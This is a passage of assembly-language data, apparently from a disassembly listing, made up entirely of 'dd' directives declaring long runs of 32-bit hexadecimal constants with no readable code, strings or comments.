0ED96D048h dd 0F0BFC91Fh, 12AC0F8h, 0B7A543D1h, 0D0825AABh, 1A005DD6h dd 0F75267F4h, 732AD72h, 196A6F45h, 50381CBEh, 0EE6E2A00h dd 0B2B5D1FEh, 0C3783AE7h, 18969C80h, 77E5A69h, 138533Fh dd 0C423F2CDh, 4020C9E7h, 50BCE6D4h, 3085C08Eh, 0F23E380Eh dd 5800D9D8h, 0F1729C6Fh, 0A8F11h, 748C1C28h, 0B84D250Dh dd 0E844171Ch, 88579040h, 258521D4h, 8BFE947Bh, 63001137h dd 0B93035h, 3F6DA771h, 5EF4F93Ah, 0E0804950h, 79318775h dd 892EE054h, 284DAF20h, 0BCDE1Ch, 2D6078B8h, 8307BF3Fh dd 0C980A8DEh, 16531940h, 5FA007Ah, 8E39DE28h, 0DB3E6B47h dd 0B338F925h, 61800091h, 540AC1FAh, 750B0333h, 2AE03BCDh dd 3C48A2B2h, 8D00F4C4h, 0D4487F6Ch, 3570E51h, 32C9CC8Ah dd 0D407F022h, 6052C0E8h, 5677FF67h, 0D7F80460h, 0B7C20074h dd 178EE44Dh, 0D4007572h, 0E7736847h, 1D3E2B6Dh, 407F2E3Fh dd 62C3E5EEh, 1D005D57h, 59E7E015h, 3C21942h, 3C70DF5h dd 95A828CDh, 1600DA9Eh, 8104438h, 4EE30Eh, 0ABEA5BC2h dd 0B6F1E9B9h, 2F188300h, 6DAF3852h, 9AC706F3h, 68EDF60Fh dd 106A6B00h, 0D9093C1Dh, 41FA0363h, 0D7D572BCh, 0AA8646E8h dd 1FBA053Fh, 0F2008B6Dh, 0AF8207EBh, 0E3B7006Ch, 0F58404A6h dd 0CE399FE7h, 5C9B8034h, 6C8C5544h, 0B4671266h, 9994403Fh dd 0D4B2A3ABh, 0D2229403h, 98BB870Ch, 80BF31h, 0BAD88BADh dd 0E452ACBEh, 878A7500h, 65769862h, 5FD10ECDh, 45A9BB6Ah dd 0DB2B400h, 0AB024787h, 33B8BE68h, 6D4A025h, 2639B89h dd 0D9C48EA3h, 96E03062h, 35004A3Dh, 7F037B8Ch, 186CD2F6h dd 0A1E77E60h, 8007931h, 75DA47CAh, 84C6AEh, 88430E6Ah dd 426D9690h, 0BC35B1Ch, 0A8215900h, 666489h, 437D57DBh dd 0DD47FF16h, 0E7EE4890h, 593A90Eh, 40997890h, 0E61D2CACh dd 0A204005Ch, 65F2E9ABh, 0EDE04F03h, 81F59Fh, 80CA9CB0h dd 66D23214h, 6C054216h, 11AC1841h, 34F9D012h, 0B39B80DAh dd 1F5FAAEh, 68FCC3C0h, 606DB6E0h, 703F361Fh, 0F10B7D88h dd 80D375BAh, 964F53AAh, 90AA0083h, 281755A2h, 0CE60FC52h dd 9B71F560h, 0DBB30465h, 0C0C6ED9Dh, 30D27444h, 3709D800h dd 0EB8FD36Ah, 0B5F2CAEh, 3862832Ch, 0CCC9B86Ch, 50608043h dd 28B6C959h, 75A1281Bh, 0CD8100FEh, 0D31F231Ch, 2E02474Bh dd 0CEFDB2D9h, 0A724C0D8h, 430F13F5h, 0DCA4400Dh, 0D178BE53h dd 8B298F04h, 48C055B1h, 0F508C9C8h, 761060h, 8872DBE1h dd 695DF882h, 0C8F1E700h, 0E6A89152h, 3B7D77CDh, 0D780D838h dd 954ADC9Dh, 6901E051h, 88A4B20h, 0FED847E6h, 4FDE0019h dd 9B738ED3h, 5E006F0Ah, 45DC819Fh, 6D99C3h, 1152714Eh dd 7495E4AAh, 0A70766F8h, 3FAE02C1h, 0A0D52023h, 1F1094h dd 440EB763h, 9EA33211h, 38F7A730h, 0F14802h, 0FBF52F45h dd 0D14CAEFFh, 0B41A3606h, 9956E8h, 0A9A3F48h, 0C74A98F1h dd 34AB721Eh, 0EFFF0140h, 4BB22Fh, 0F0D48C6Ah, 0A0B01EAAh dd 5CF7ED0Fh, 9836C0DBh, 3F38ECA8h, 75EE6Fh, 76759ABAh dd 0FA2DD4BDh, 0FB61FF00h, 28E5B471h, 14FC09B5h, 160396ECh dd 1A883808h, 61F9E7Ah, 803B2568h, 0A451AF4Ah, 75270ECDh dd 0E0DC0133h, 4D1BA38Eh, 93A7DFA6h, 0D1E03A35h, 3214AF66h dd 1A4DF0Eh, 914537B7h, 2BDC9857h, 258E00F8h, 0FB8007A9h dd 7B00CEC6h, 0E3491B61h, 1E66AD0Ah, 8015348Ch, 0DBE54169h dd 3200DC60h dd 42742835h, 72BB0C3Ah, 0C7120111h, 13E2471Ch, 0CCD4D475h dd 1BAAA200h, 2D48049Ch, 9EFF0FDAh, 0CB20C1DFh, 6ECAB6E2h dd 7EA2A00h, 0E4EDB492h, 5FA6A0A7h, 75EF0542h, 81639DE5h dd 0C402F501h, 0BF070E69h, 0BE8ED268h, 4F4879B0h, 5DEC1D30h dd 0F1EDC0BAh, 1744F7C6h, 0DC57341Ch, 7E1898A8h, 53986C16h dd 1E430084h, 0FB3AADE1h, 7C00C7C4h, 0F14A8C5Fh, 5B7437h dd 4C4E3E1Bh, 0F9255238h, 0BCA0830Ch, 6A788DAh, 1E622618h dd 0E1F250DEh, 0D6E0B900h, 0D3DF5B4h, 0D87F412Ch, 0F90F2668h dd 808F4E75h, 0C1BD153Bh, 972B0088h, 0AF6103A5h, 983B71BEh dd 4DB0023h, 0CE50B96h, 0B59EA0DAh, 0EC2139DEh, 40C27E81h dd 2083707Dh, 0F31CD308h, 4CC06056h, 72DC512Eh, 89610C5Ah dd 9298D712h, 2A6A8300h, 0DF16919Dh, 0D376AEh, 1355DCF3h dd 0CC06D1D8h, 0FEB38B00h, 9938692Eh, 8FE09718h, 3A005E27h dd 25E2B7A0h, 0B673E8h, 0FC07736h, 51C21DD1h, 0FB976A01h dd 0B29BF619h, 12C31440h, 1D3D3AADh, 0F595BD82h, 0B080EE67h dd 403008E6h, 0FFCDA603h, 0C8E0E37Eh, 124F98h, 0D6544642h dd 0D5C193F6h, 9A06C807h, 91F08CB4h, 0F613B97Ah, 0E2B8BAh dd 1138755Ah, 44861D35h, 0F89B3A09h, 0D78000E8h, 62550Fh dd 0A91B2360h, 656FE199h, 3573DB00h, 4C6BC9F0h, 0E6AE3DB7h dd 1C37E26h, 3FB20917h, 0F080E65Dh, 4E1537C6h, 0DCF00E02h dd 80DFD7C5h, 0C14251A8h, 361400F5h, 0A1F8C3B4h, 0AC093160h dd 2A446Bh, 4D116D40h, 0B3E320EAh, 0C5C04301h, 3AFBC78Dh dd 24B47DF0h, 8038FFEFh, 0ED09422Fh, 3E1EC371h, 0FD806DBEh dd 107391E0h, 0A91C6036h, 2CB12D9Bh, 408C6000h, 848D1572h dd 3F30C0BFh, 0A86EF8A2h, 2D7FD30Fh, 0CDD097Dh, 3C09C0F4h dd 1E81F67Eh, 9A19A60Bh, 0DD7C3043h, 0B105AC00h, 3F93EAF1h dd 67EF3DC5h, 621D3B1h, 888AC6F0h, 0C05D1FF8h, 97F54B2Bh dd 5B02628Fh, 0BB753DB4h, 8234E025h, 0DEF70035h, 91BF7283h dd 66003FDBh, 18409221h, 7AFBE16Ah, 6513C70h, 56643FFFh dd 830F779Fh, 4D2F7E8h, 0B17E32C8h, 13D0E900h, 4EC31C3Ch dd 0C6DB140Ch, 63F98F0h, 46601009h, 31E2480h, 3900E8C1h dd 0E622F36Eh, 16D6B773h, 1FF46033h, 0EC554037h, 999D31AFh dd 56F5F300h, 947AA6EDh, 0D5320998h, 20008BFEh, 4807583Bh dd 1FDD2A03h, 0D8E3C23Ch, 32CFD10Ah, 9899B1B7h, 0D02AC381h dd 8C10F412h, 0B869BA00h, 49C7CA3Eh, 0A926033Ah, 7AE2611Dh dd 0D440418Ah, 82003481h, 0BB76CE68h, 1C96CFh, 0CCB5E1D5h dd 3A9BF522h, 0D009B600h, 8CD8FDE6h, 0EA8101FFh, 4D77C2D2h dd 4BF7DC7Dh, 0BB279200h, 0BADBC69Ah, 82C5009Dh, 0FD1F22B3h dd 6900D5A3h, 71E17FFCh, 12C1CC25h, 3D73BAEh, 4F1D59A8h dd 24E7BDC1h, 31802D3Ch, 402B0084h, 2B6CB33h, 0A809ADB0h dd 9F4E1Ch, 0E9927D8Ch, 80E707B1h, 637C055Ah, 76D2AFF7h dd 0BABE0880h, 9600A608h, 0DF5C8FE2h, 2C7D89F1h, 886CF2h dd 7599687Ch, 0ADE20C8Bh, 9A49F800h, 770741BEh, 0DD13036Fh dd 0F8B14EFh, 3AE02020h, 4E1F10A7h, 0B990E01Fh, 0A100DEF8h dd 0B1AD839Eh, 90FCDC04h, 0A3E400D4h, 8E528693h, 1E0040C8h dd 90C578A2h, 37B03CBh, 0A0C6269Fh, 5601D470h, 0C4140CA9h dd 0CEDF76DDh, 0E9410081h, 0E5CBA5ABh, 0F00ADB34h, 50717780h dd 3820431Ah, 0A1A7495Ch, 0F0C08C28h, 5BCF0081h, 1B34DF9Bh dd 8A043A71h, 0DA0F0C5Ch, 355FB0h, 5227494Fh, 0A153DED1h dd 8691B23Eh, 0D061ED6Dh, 1BC47F58h, 69FC0FEBh, 0AC043AC5h dd 9BD3061h, 43E18510h, 0CEE30E05h, 0D8029633h, 800BEFC7h dd 82B761D4h, 853F0C16h, 672945FBh, 0C472284h, 0B119B42h dd 1F5B211Fh, 0CF22A2A8h, 1B4A2281h, 62118F42h, 51733012h dd 1C5306h, 0D525F724h, 146BA5A7h, 2AF00C30h, 65B8E4h dd 0A66E216h, 42C81B7Dh, 34B25Ch, 0C50C8089h, 7725BD4Bh dd 0E7ED0081h, 98F852D1h, 0AD0007F3h, 0BC4B4945h, 0E637DFh dd 0FC997DAEh, 0D46432ABh, 0ECEFB500h, 0C033933Bh, 0F42F001Eh dd 0FB91F14Bh, 0B40009E8h, 19052C42h, 4FF39Bh, 0FE28BB52h dd 80E07746h, 92D2FA00h, 2FC858F6h, 99D31CEAh, 8AEE4037h dd 7D0DA6A0h, 93EBA15h, 0A30075CCh, 6A3018F0h, 7327E2Eh dd 36FE8350h, 7CBE51F9h, 8B888505h, 67C1C760h, 0B1E07839h dd 28C60008h, 5B9A1DEAh, 0DC50226Ah, 0E1C05FF4h, 0BA314F97h dd 947F45h, 660AA42Dh, 1B02E87Eh, 6514AD00h, 873B8F3Ch dd 50F00062h, 0F2D9B839h, 0A707C3A2h, 366EA4DCh, 248E6A20h dd 958D0089h, 8A69B2BDh, 0CF060E77h, 6EEC4D48h, 5ADF3B20h dd 6382B080h, 9FFDC63Fh, 0BBE8CA07h, 9D137281h, 0DD280393h dd 0AC45531h, 307FDE8h, 0BF718007h, 0DAA05737h, 2E8DE51Bh dd 14E24h, 0E174CB25h, 0EC386FD6h, 0C1D08014h, 86E278B9h dd 6B70C0h, 82E30626h, 14A90AD2h, 38D0D90Eh, 0FEEB4722h dd 0C3A0BCF0h, 7B1200F5h, 7355FA60h, 0C0A0C1C6h, 440067FDh dd 0DE44FC4h, 7D6F2293h, 3B7F61Ch, 79FFD614h, 40D03B26h dd 284E1EDEh, 540009ACh, 22B5DBC5h, 0F83FD5B7h, 23BE8069h dd 5A3B0325h, 567600FBh, 33521007h, 5492C574h, 0A323A700h dd 61AAB5DDh, 0C38A2657h, 34D4009Eh, 8DFB5912h, 80BAA101h dd 1E5DE03Eh, 6823420h, 9DD432B0h, 9402101Fh, 0DE29155Ch dd 0F52840F4h, 93C940FDh, 7B09DF0Ch, 12152814h, 0ED926CCh dd 0C8E3014Ch, 23A9B79Dh, 0F7208012h, 0AC6C8BCDh, 7CA20E6Dh dd 732044C2h, 0C915C848h, 361C9714h, 76B100E8h, 1465EBBAh dd 256E0013h, 0AB64FCD8h, 0B018C50h, 74212D73h, 0E2F02EBEh dd 0F710039Bh, 0D296F6FAh, 5126D880h, 68039F7Ah, 0BFC197CBh dd 0CAB8E8EFh, 0C9660062h, 0F038C69Bh, 400058C3h, 4492E89h dd 0B3E9D1h, 25462DE3h, 37124783h, 0D34CF901h, 4A24DF85h dd 1D74C6F0h, 1FC8BF7h, 0D29A6CB7h, 72D9FCE1h, 0E7835B00h dd 81BC3C8Dh, 9FF0096Eh, 3480E4C1h, 83283932h, 6D357800h dd 0C0DC16EFh, 0CD7B0Fh, 0BAE0979Ch, 1555F699h, 0B08CAF00h dd 0E2C6D26Ch, 0F83C0037h, 0D324AEF0h, 7000951Bh, 0EC164247h dd 201F6C0h, 3A8806A2h, 0A540A599h, 2900D5AAh, 300F22EFh dd 19AE5CFh, 63A6E03Dh, 60EDA7D1h, 0A500E890h, 0E3A0FE5Ah dd 6E379Ch, 2A8CD4F2h, 0E1FC29FAh, 0A10F5Ch, 0F31BCD25h dd 1C404EAh, 73994590h, 0E51C0985h, 3938F453h, 4D8BBD0Eh dd 5680FF26h, 9BC8EE76h, 0BA2200CBh, 7B7461F4h, 1D00AE7Ch dd 8ACC972Dh, 49E31Fh, 0FE9A33B1h, 0C34F257h, 177A8701h dd 8F81D4B7h, 105DC0h, 0BC94D31h, 0D0908D11h, 3D7AEA7Dh dd 884E6F30h, 730D378h, 0C1EC2662h, 78C8397h, 2CFC52B8h dd 19631403h, 0D28AB3CFh, 83A0E06Eh, 0E77033h, 7055F0BBh dd 0A2ADCFE0h, 9CD28B00h, 0DA8F87A3h, 8EC601AAh, 0B8DE3274h dd 6A58FE97h, 91DC5D00h, 192643BEh, 14BC7221h, 0E013A669h dd 0C04E681Ch, 96AD890Ah, 7401AA99h, 0E223A08h, 80EE1485h dd 1E32C9D3h, 101560D5h, 79F69A94h, 1BB36807h, 0CE70D936h dd 0E0FF69h, 6EDA272Bh, 569BA095h, 0B8798500h, 2C69EAAAh dd 0D310005Bh, 0F9AE0BC5h, 0A91F33F8h, 2440F3D6h, 0B5CAD201h dd 788507FAh, 0D190972Bh, 0F4DC06ADh, 20002315h, 12839B0Bh dd 25378h, 5B9333BFh dd 0C35C4B0Ah, 9539D200h, 0FE5480C5h, 1DE2004Eh, 0D4A91934h dd 0DF005B01h, 9C843B14h, 2CC56EDDh, 560CEBh, 242E568Dh dd 3A03D56Ah, 34CAB7DEh, 1F29E080h, 15D70053h, 26F814BBh dd 2C006858h, 0DC0E7E8Eh, 19D9E257h, 48D4B06Ah, 26C9302Bh dd 890E7272h, 702EAB9h, 2F70DD56h, 72B79h, 963DA6DCh, 0E32ACC74h dd 38158C00h, 9E410825h, 37A5005Dh, 77D58A12h, 16003A2Eh dd 0C7FCD3AAh, 4F18E3h, 244BB27Eh, 6C44BA86h, 4DAC7700h dd 730423AAh, 0CA9B0054h, 11809C32h, 31006F7Ch, 7526697Bh dd 140B714h, 0FC83D45Ah, 2059647Dh, 2D139A33h, 35008FD5h dd 725680FEh, 5BDB0014h, 0F7BA95C0h, 340076A8h, 4579067Bh dd 0F452B1h, 0CEE611BEh, 7E67A51Ch, 468AE0Ch, 3001391Eh dd 92311FB0h, 5C00732Ch, 52EFD94h, 0C0B5237Fh, 0F1A55229h dd 0F6003CECh, 36D10C53h, 0FC8A8Fh, 4F8CC497h, 73ED7FA1h dd 2EBF2912h, 0F6D50400h, 778D26h, 0FDF1256Bh, 8B9152DEh dd 8F839501h, 0CEB9AEC2h, 5B7C18A5h, 0CDDEE00h, 0A567F9h dd 416BB04Bh, 0F4DFAF25h, 23E54D01h, 505F2FD0h, 1EC5E8ECh dd 406A4749h, 91CA7DF6h, 1C18D3F3h, 7780D0A4h, 615B7AEFh dd 0C6909080h, 0B14EE053h, 0B2AF48h, 0D316C7C8h, 4002A0h dd 208BA17Dh, 6932988Ch, 95A8EE00h, 0EC3AF6C9h, 0C6C1408h dd 4F0194E5h, 765FDD91h, 2F95E8F5h, 7878963Ah, 3E00F97Dh dd 5873F862h, 0FACF72h, 8A1C92E2h, 69EB5C65h, 0D7A0600h dd 15FCC0D0h, 6A6F1284h, 5F0435Dh, 0C7A8F98Ah, 0D0090C9h dd 3E374DABh, 309AE01h, 73B3463Fh, 60FF5A4Ch, 70B4B950h dd 0C0E45800h, 0EDB6A07Eh, 0B761386Bh, 399A8100h, 227AEC36h dd 0CCA1320Ah, 0F0008C2Bh, 6253CB9Ch, 92830E08h, 0AB21C3CFh dd 708CDB5Ah, 0C500C922h, 0F849055h, 0ECD29Eh, 0E55929C3h dd 0A3CFEB0Ch, 1FD4CC3Bh, 0BBC43E2Eh, 0AC8532DBh, 0E3349B80h dd 0ABD0092h, 0C81C4B98h, 56E44419h, 6AC58D00h, 5461D606h dd 0C4DB0459h, 80266BF4h, 80C3E214h, 1BAB90Eh, 8DDFA727h dd 50A23C50h, 0E5B5140Dh, 5303E483h, 200590EDh, 0BAB1D780h dd 0DDC8C500h, 9406FFCBh, 82C300B5h, 0B9E049EFh, 78004F2Ah dd 37876C74h, 7E8001BDh, 7F390053h, 0A4252808h, 0ECA02D2Bh dd 83055886h, 0A00E211Ah, 0A0C737C3h, 8562CEh, 3C962071h dd 5355D3AEh, 0C13A3401h, 0E35CBFE7h, 6512DC32h, 64530280h dd 3448556Ah, 0E000D374h, 60D50719h, 0EEC441Bh, 97A92F7Dh dd 0C436582h, 5FC6E0FFh, 68121841h, 0BBD8E877h, 0CFA6AF00h dd 0ED494030h, 7839B08Dh, 0F65F00C0h, 61DAE60Ah, 85017AD3h dd 4C9334FCh, 5DE07992h, 907F16FBh, 983F00CFh, 0BE4B0E63h dd 0C08C40CFh, 1201B0EFh, 0CA7AC0h, 1584672Ch, 2E331A0Eh dd 6A30B00h, 5E8334C6h, 791C913h, 0B498BC90h, 0E80F49h dd 298CE76Bh, 98C0B6B1h, 0A8B92608h, 0C8890155h, 5023DF9Fh dd 0CDD460D4h, 0D2458100h, 9214A83Eh, 5B3A0036h, 0F71A91AAh dd 0BE002620h, 22ED8D4Eh, 0F0F4DBh, 948A8EF1h, 80CCB1C0h dd 0D110CE00h, 5A589FF7h, 0DE4A30C1h, 41A22A0h, 9981E030h dd 6068B7h, 0BE42ED21h, 5AE53D6Ah, 5674C003h, 791E08DFh dd 4FF468h, 9A9E35AEh, 9C673071h, 8301533Fh, 2DA6B6BAh dd 24829FFCh, 0AE98806Bh, 0FC3E9h, 8382FF90h, 0D2738DAAh dd 44294100h, 61C7F6B7h, 1AD90032h, 0EB239984h, 4E01E63Eh dd 341FDCDh, 0D04374C7h, 5A0F8051h, 587800D9h, 75499625h dd 7E7A6221h, 602BE400h, 8B5EE969h, 0C57604h, 9C9D102Dh dd 0D95B57C4h, 0AF2EE703h, 90C7E0D1h, 0E4D48ECAh, 4B0C00D6h dd 2DF2CF20h, 0D928A943h, 71039F03h, 0B9B40177h, 4EAAC853h dd 0FB050099h, 0A5C2B296h, 4802D262h, 4F98B5AFh, 51DEC08Ch dd 107F00D5h, 6023BCFDh, 7E742B3Fh, 0D300C17Eh, 39EFC496h dd 0EBF4AEBh, 54C58E48h, 0C0F299E5h, 189B1174h, 0DED17000h dd 95AEED2h, 0D83F009Eh, 686C63C0h, 700E5C14h, 624E33AEh dd 60951122h, 1F09591Ah, 0C0EFD7A6h, 436D4615h, 37001F25h dd 0BA050A49h, 71FE9206h, 0D5AC0F90h, 0BEBC9F34h, 0EF6BC900h dd 0CACBBF2Bh, 7CF43A00h, 0A061254h, 18B20045h, 2177EE02h dd 0D10061AFh, 30A7A241h, 23F3FBh, 0EA5E1EC9h, 7BA1F8F4h dd 0B80069B6h, 56584C25h, 7AE9000Ah, 0B9D11A80h, 0AE00B15Bh dd 0D03A7BFBh, 565E84h, 727D114Ah, 0ACDE7991h, 0A300987Fh dd 19D0F31Bh, 0DBC5A1h, 72CE0943h, 0BBDA8869h, 0C903E81Eh dd 3A006D9Eh, 19AC73D7h, 285000Fh, 458331B7h, 0BF00BAADh dd 809AEBC1h, 0C267F5BEh, 27E8DA34h, 0F6EAEC60h, 82962902h dd 40E4456Eh, 1AFA478h, 797242F9h, 0D8F8EDDCh, 31F33758h dd 6744412Dh, 0B1DEF434h, 750CA3FAh, 502DA839h, 6E7203C5h dd 451C1685h, 7E960DF0h, 3BA93A13h, 6010840Eh, 44490848h dd 0A3121EB9h, 0EC8D1F69h, 0DD280063h, 0CCA79F1Ah, 0BB00D8B0h dd 0E40A95BAh, 24AE342Dh, 75CD445h, 707088D5h, 2EB46DA9h dd 3CDBB200h, 668755BBh, 5AB008Eh, 7CE376F7h, 24B0C27Fh dd 0E6A22A01h, 3D8E3C82h, 5DEB9EF8h, 0F42428D8h, 282CD4h dd 1C94672Eh, 6F2E6E30h, 97006710h, 0AAEC7DACh, 0F5871EA6h dd 5F59407Ah, 5E2488F8h, 0A4381738h, 0E700E646h, 0B8DF4F5h dd 5E85Ch, 0E142129Eh, 405096A4h, 84EAB000h, 37E09713h dd 0BF9307E5h, 204F6B88h, 0F7351FD8h, 0E7C79205h, 48C0305Fh dd 38038h, 0C6B9C8CCh, 0B7DDB89h, 0C200C47Bh, 730A92C1h dd 51EBE3Dh, 84894BBAh, 1DD6011Bh, 0E5867F6Fh, 5AB8501Ch dd 6917BD2Bh, 0D000D5B7h, 719B4310h, 36840E6Bh, 514903BEh dd 0CC945800h, 6D12CA87h, 1047F50Dh, 9E30389Fh, 5B7D2Ch dd 0B4FC84ACh, 0F911CC13h, 0FB5CB013h, 88C73C00h, 17A4D414h dd 496BE675h, 0C2596ECh, 20AC90FEh, 28B894BAh, 0A86093Fh dd 0E01B488Bh, 20E05C0Eh, 0D694E9F3h, 0B7AC13C0h, 8ED01EE2h dd 1FEC0FDCh, 900EA28h, 38F691D7h, 24790D8Bh, 60F026h dd 802FCD03h, 3A900A33h, 0ED889F03h, 0D081A3E1h, 0D67E85h dd 3439A96Ah, 98BA0EACh, 25550C02h, 0C0A1BE1Bh, 2F3BFA3h dd 3F03E79Eh, 0CC806D4Dh, 9A2DED18h, 0DAA488h, 9DE5E89Fh dd 0ECE725D2h, 3CC00700h, 0F62ECDA6h, 0BA9900EAh, 0AD64064Ah dd 630147AFh, 788B1936h, 24E0557Ah, 86100F6Dh, 0EB04B937h dd 770C01D2h, 0B0A724Fh, 0A069FABBh, 876ED028h, 50C60F71h dd 7BC26394h, 4C4073BDh, 3301B1F7h, 0A9013D83h, 12D97EFEh dd 7F2455CCh, 68AF48FCh, 800A0407h, 77C0108Dh, 5E037FF9h dd 2DB06212h, 34D0CDC4h, 73FB99EDh, 410600F2h, 2C8B211Ch dd 450076C5h, 7C2307BBh, 0E49579B4h, 0F0867A66h, 0CF961DBDh dd 0F2A4C036h, 1A8D41EDh, 0A5893500h, 0A6591EEh, 160B004Fh dd 0BEB91592h, 54022A96h, 0C7906E55h, 6692619Bh, 500EC024h dd 2EB801h, 44FD1A59h, 28201667h, 0F51EAD07h, 75908D34h dd 3BDED797h, 198771AEh, 0C051111Bh, 7E4277C1h, 5828F200h dd 3B02C468h, 6EE70275h, 44BE1A56h, 1971088Ch, 0BB794701h dd 8B74CD66h, 9A86020h, 0B9BF4BE3h, 80232840h, 0D7110207h dd 0C3F21E19h, 1F64707Ch, 1E4EAD77h, 0F1103FEh, 82A3DA08h dd 92AF31A0h, 398120A3h, 0AED9802Ch, 0A843E32Fh, 4ACCE9CFh dd 7982F9D7h dd 0E05A4BDBh, 0B8088E40h, 8B16F501h, 0B980E83Ah, 0DF48A6F8h dd 11728350h, 31A0835Eh, 0A430D116h, 9930612Eh, 65AF09CCh dd 5380E9A8h, 0BA72F3EAh, 5C43A028h, 371FDCFAh, 0D640AD18h dd 0F9AE6EA8h, 42F55876h, 1B516F00h, 6C2D7DD9h, 0E197ED07h dd 522757BEh, 5A823E60h, 0CB371D68h, 8CC90042h, 0F6BAD96Fh dd 5B569400h, 7AAC9D25h, 3E2C00E8h, 333BC5E9h, 1D00CF91h dd 0FF8898Ah, 32E17459h, 15B90C36h, 0C80C04BFh, 81134h dd 0D9E2ECFBh, 6C54AAD1h, 0D5FC7300h, 28C5AB0Ah, 0A4D0388Ch dd 0FA21058Fh, 0B983048Fh, 16E08F14h, 1B284293h, 0C702C4Dh dd 517C3331h, 8008ACB2h, 9F3FDDF3h, 120AEA29h, 551F9C1Eh dd 0DB887C00h, 16ED242Bh, 27B071h, 8620D444h, 61CF28ABh dd 2260145Dh, 0EEF226BEh, 49193020h, 5C0154DBh, 2B03AE6Bh dd 704C7685h, 0E82F4124h, 0A04C0E60h, 5E4006A8h, 44E8DA43h dd 103E0ABFh, 0D2970001h, 0D983FBB2h, 2117EDB1h, 582B0F37h dd 34005E4Ch, 7D4503FBh, 60542627h, 0ED14A97Eh, 0C882147h dd 0F8536C46h, 0FC02A8A9h, 7D44F773h, 19788036h, 33656Dh dd 98510289h, 4850A6CEh, 0E4D14D22h, 3E3F0053h, 0FC5265C2h dd 51001A05h, 5ED038F2h, 8641Fh, 0CFE156D9h, 24416CA7h dd 817538C9h, 0DA355572h, 77A97870h, 18236079h, 0F2C8AFC6h dd 4B0C4CF4h, 91325986h, 41A600CBh, 691B21A7h, 0A53CE139h dd 80490FC3h, 1004FE97h, 3490D7A8h, 2B04FCh, 79A4CC8Fh dd 0B570973Eh, 3CE5A100h, 0A6A57D5Ah, 484000D5h, 2586FDB0h dd 0ED90287Ch, 0C46241C0h, 1710A1Bh, 338A543Bh, 78636B6Eh dd 67690EE1h, 0D53DA00Ch, 4C88C4DAh, 5680880Fh, 9F5FF6B5h dd 0ED25041Ch, 0E8D59140h, 270E152h, 5EF7210Eh, 304847ADh dd 7608EA97h, 81DD48E9h, 556C406Dh, 0F0CEE07Dh, 890013FCh dd 0B0D0D54Bh, 1A02ABh, 0FE3CB1CFh, 279229C0h, 1D0F073Ch dd 0D0807A28h, 0B2C3B98Bh, 239E0C7Bh, 360873B3h, 0E2FF21C0h dd 0A9E5BAh, 0DAB1CB7Ch, 90294751h, 0D2EFC300h, 0F64D2EB6h dd 8D870406h, 6335EABh, 0C8407654h, 8AC00C70h, 46B2C2B9h dd 7452283h, 0D3BAE1C6h, 9FF5208Fh, 0BD07560Fh, 5BB6708Ah dd 2A28831h, 303A3106h, 6BB80C8Eh, 481124h, 0AE076881h dd 0A73FC3C5h, 0A3083D63h, 65200079h, 0CD1B68C9h, 9D301E73h dd 0AF61B04Dh, 2820C704h, 7A083C2Bh, 17ED7C03h, 88D6B4B3h dd 0F9E2899Dh, 1D335F60h, 12757BA3h, 31AF18D7h, 0E41EE2C7h dd 44C1B29Ch, 4BFFAA7Eh, 219C02D1h, 0C9E440EAh, 0CB7218A7h dd 12B27830h, 0A0322F2Bh, 8146D6B0h, 0D100E768h, 0D4A48E18h dd 381B7CDh, 797588B8h, 28172572h, 0CEFBCE6h, 0DA1827ACh dd 953A40h, 0EFD6D2E7h, 0E454668Dh, 98F67000h, 0A6862F01h dd 0DBC700C9h, 0DEA7C530h, 820F1EDFh, 0C1055C2Ah, 0E3CB755h dd 12C090E1h, 7C490AEDh, 9441B3h, 4CCDD56Bh, 920080F8h dd 0BD42D044h, 3F8DE1F7h, 0AA80E358h, 8FEEE60Ah, 1E00B3CBh dd 0CDD7103Ch, 0D93F0Bh, 1A8E723h, 3A224DC7h, 0DCF57001h dd 4602DE58h, 45210BFh, 0A530BEACh, 0E73E1017h, 67271CBBh dd 0EDEBC015h, 0E3094730h, 0B7DA4503h, 82B521B1h, 1138E33Eh dd 11EAAB29h, 7521E4F4h, 2C6F9604h, 0E288F0Ah, 3A70204Ch dd 6478C419h, 2173296Dh, 1D121E4Dh, 41DBD510h, 192ED2Dh dd 0A6405744h, 6D1FB9h, 0EB594234h, 9F1DC7ACh, 0ABEC6000h dd 0FAE14EBAh, 8E0701DFh, 5D74C1F0h, 0D69FE84Fh, 1A5B8900h dd 9A6E4D63h, 0C2670068h, 58C7F9DCh, 0A000598Ch, 4854891h dd 1E1BEA8h, 0E8228F3h, 0DF22686Ch, 44A97A98h, 0CE3A5F00h dd 265BD611h, 0C9020327h, 0D52EFCECh, 0D06DF2B0h, 3DF9D201h dd 0D659B014h, 275ACCh, 33DC053Eh, 0AC41C5A5h, 1B01307Dh dd 0A85B3271h, 45708674h, 779F3C5Ah, 0FFF8817h, 0BBC1E47Bh dd 249953F4h, 7E00FB10h, 0C86DFEA2h, 16DEE526h, 186CEF9h dd 0DB219F78h, 7167C0F3h, 7B00A77Fh, 12F18422h, 1E5C5880h dd 4042FAA4h, 851594CDh, 3401A330h, 17E14D5h, 0E2F89071h dd 129590FDh, 4022583Eh, 53674720h, 623F4D6Eh, 7A4F83D3h dd 0D80C29D6h, 3F9E11C9h, 4985D14h, 0CF581A1Fh, 0A8006DE4h dd 0E091D790h, 0F93DBA4h, 0F460C72Ah, 405EBAEEh, 0FF20A9C5h dd 78003898h, 33F28216h, 15C5F73h, 23800819h, 0F081E6F6h dd 5A3A2CE3h, 472F80BFh, 0A613C7C1h, 0EB3A01D0h, 7659F663h dd 0AE38EC69h, 68A5ED00h, 47C1FCEFh, 0CB65005Bh, 0DFE9A004h dd 1200FA82h, 0E0F1AA7Ch, 50BEA93Eh, 0C2A842h, 33EC645Fh dd 95C5DC43h, 0A2161201h, 35F27444h, 102193E1h, 8446F8h dd 0D81FE8D4h, 2713E6E3h, 0B0329024h, 0FE575F00h, 7BE7B260h dd 555E022Eh, 0F04816FCh, 0A3E81363h, 0A006C12h, 8ABB0BC1h dd 0F4728D7Eh, 841F5B3h, 55EC107Ch, 0BF9200F2h, 60FCE4CDh dd 9172FBh, 4A478B00h, 0E62B0B08h, 94EC0062h, 86EFB663h dd 0E3000A23h, 3A1574B2h, 7172D1h, 0F39C1C18h, 3ED95053h dd 86876A00h, 3C3334F8h, 192C1D48h, 12DC45D3h, 2FC096Fh dd 0AB998C18h, 6C9E3709h, 0C32807E5h, 30881590h, 3156005Fh dd 0FC02FBDCh, 340020F7h, 0E64AD103h, 7D906582h, 7543F075h dd 2DF00F9Fh, 0AAE0637Fh, 13314819h, 7673D004h, 802F3Eh dd 0E8AEB0Fh, 418C4997h, 2D03B100h, 